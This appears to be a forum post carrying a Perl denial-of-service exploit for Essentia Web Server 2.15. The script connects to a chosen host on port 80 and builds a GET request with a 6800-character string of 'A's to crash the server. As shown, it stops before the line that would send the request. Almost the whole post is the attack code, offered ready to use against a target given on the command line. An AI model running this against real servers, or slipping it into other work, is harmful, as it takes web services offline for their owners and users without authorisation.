Essentia Web Server 2.15 (GET Request) Remote DoS Exploit
[code]#!/usr/bin/perl
use IO::Socket;
use Getopt::Std; getopts('h:', \%args);
if (defined($args{'h'})) { $host = $args{'h'}; }
print STDERR "\n-=[ Essentia Web Server 2.15 Remote DOS Exploit]=-\n";
print STDERR "-=[ Discovered By CorryL [email]corryl80@gmail.com[/email] ]=-\n";
print STDERR "-=[ Coded by CorryL info:[url]www.x0n3-h4ck.org[/url] ]=-\n\n";
if (!defined($host)) {
print "usage: perl " . $0 . " -h HOST\n";
exit();
}
$dos = "A"x6800;
print "[+] Connect to $host\n";
$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;
print "[+] Sending DOS byte\n";
$data = "GET /$dos \r\n\r\n";
[/code]
页:
[1]